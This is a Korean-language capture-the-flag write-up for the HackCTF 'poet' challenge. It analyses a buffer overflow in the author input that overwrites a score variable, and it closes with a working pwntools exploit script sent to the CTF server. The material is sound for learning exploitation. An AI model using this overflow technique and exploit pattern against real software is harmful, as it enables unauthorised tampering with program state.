HackCTF poet Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

동적 분석

문제를 실행하면 특정 조건을 만족할 때까지 두 번의 입력을 반복해서 받습니다. 첫 번째의 경우 '시의 내용' 항목으로 입력받으며 두 번째의 경우 '시의 작가' 항목입니다.

두 개의 항목을 입력받은 후 점수가 만족되지 않았다는 출력과 함께 다시 입력 상태로 들어가는 것을 확인할 수 있었습니다.

root@3218f793af99:~/hackctf/poet# ./poet

**********************************************************
*     우리는 2018년의 시인(poet)을 찾고 있습니다.        *
*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!      *
**********************************************************

Enter :
> one line
이 시의 저자는 누구입니까?
> test

+---------------------------------------------------------------------------+
시 내용
one line
점수:0

음...이 시로는 충분하지가 않습니다.
정확히 1,000,000 점을 획득해야만 됩니다.
다시 시도해주세요!
+---------------------------------------------------------------------------+

Enter :
>

시의 내용과 저자를 번갈아가며 입력값을 바꿔본 결과 두 번째 입력에서 긴 문자열을 입력할 경우 점수에 변화가 있는 것을 확인할 수 있었습니다.

이 시의 저자는 누구입니까?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag

+---------------------------------------------------------------------------+
시 내용
test
점수:1734437990

이를 통해 overflow를 통한 특정 값을 만족해야하는 것으로 판단, 해당 조건을 파악하기 위해 정적 분석을 진행하였습니다.

정적 분석

정적 분석의 경우 ghidra를 사용한 decompile 결과를 분석하였습니다. 동작을 수행하는 함수는 get_poet(), get_author(), rate_poem() 세 개의 함수가 있었으며 점수를 만족할 경우 reward() 함수를 통해 flag 값을 출력해주는 것을 확인할 수 있었습니다.

  do {
    while( true ) {
      get_poem();
      get_author();
      rate_poem();
      if (poem._1088_4_ != 1000000) break;
      reward();
    }
    puts(&DAT_00400d78);
  } while( true );

점수를 비교하는 부분에서 poem.1088_4 변수와 값을 비교하는 것을 확인할 수 있었는데 전역 변수로 선언되었음을 추정할 수 있었고 1088이 의미하는 것은 시작 지점으로부터의 Offset임을 알 수 있었습니다.

즉, poem+1088에 1,000,000 값이 만족될 경우 flag를 획득할 수 있을 것으로 보였습니다. 이후 overflow가 발생하였던 get_author() 함수를 분석한 결과 poem+1024 지점부터 입력을 받는 것을 확인하였고 이는 64 byte의 padding을 이용하여 값을 조작할 수 있음을 의미하였습니다.

위 결과들을 토대로 Little Endian인 점에 유의하며 아래와 같이 exploit code를 작성하였습니다.


Exploit

Exploit code에서 0xf4240으로 입력한 이유는 gdb로 분석할 때 hex 값을 기준으로 비교하였기 때문입니다.

#!/usr/bin/python3

from pwn import *

#p = process("./poet")
p = remote("ctf.j0n9hyun.xyz", 3012)

padding = "A"*64
menu = "> "
answer = "\x40\x42\x0f"

p.sendlineafter(menu, "Garbage")

payload = padding + answer
p.sendlineafter(menu, payload)

p.interactive()
profile
To be

0개의 댓글